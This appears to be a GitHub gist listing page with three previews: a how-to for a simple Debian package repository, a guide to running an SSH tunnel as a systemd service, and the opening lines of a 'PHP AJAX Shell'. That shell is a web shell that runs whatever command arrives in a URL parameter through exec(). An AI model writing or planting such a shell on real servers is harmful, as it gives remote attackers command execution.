Skip to content

Instantly share code, notes, and snippets.

@awesomebytes
awesomebytes / simple_debian_repository.md
Last active July 7, 2024 22:41
How to create a simple debian repository with minimal dependences

Simple debian repository

How to have a simple debian repository to offer your packages.

Requirements

You probably have them already installed

  • Python (I used 2.7).
  • dpkg-scanpackages: sudo apt-get install dpkg-dev
  • gzip: sudo apt-get install gzip
@drmalex07
drmalex07 / README-setup-tunnel-as-systemd-service.md
Last active November 8, 2024 00:56
Setup a secure (SSH) tunnel as a systemd service. #systemd #ssh #ssh-tunnel #ssh-forward

README

Create a template service file at /etc/systemd/system/[email protected]. The template parameter will correspond to the name of target host:

[Unit]
Description=Setup a secure tunnel to %I
After=network.target
@lav45
lav45 / AjaxShell.php
Last active July 22, 2020 08:20
PHP AJAX Shell
<?php
ini_set('max_input_time', 0);
ini_set('max_execution_time', 0);
if (!empty($_GET['cmd'])) {
$in = $_GET['cmd'];
$out = "";
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("\n",$out);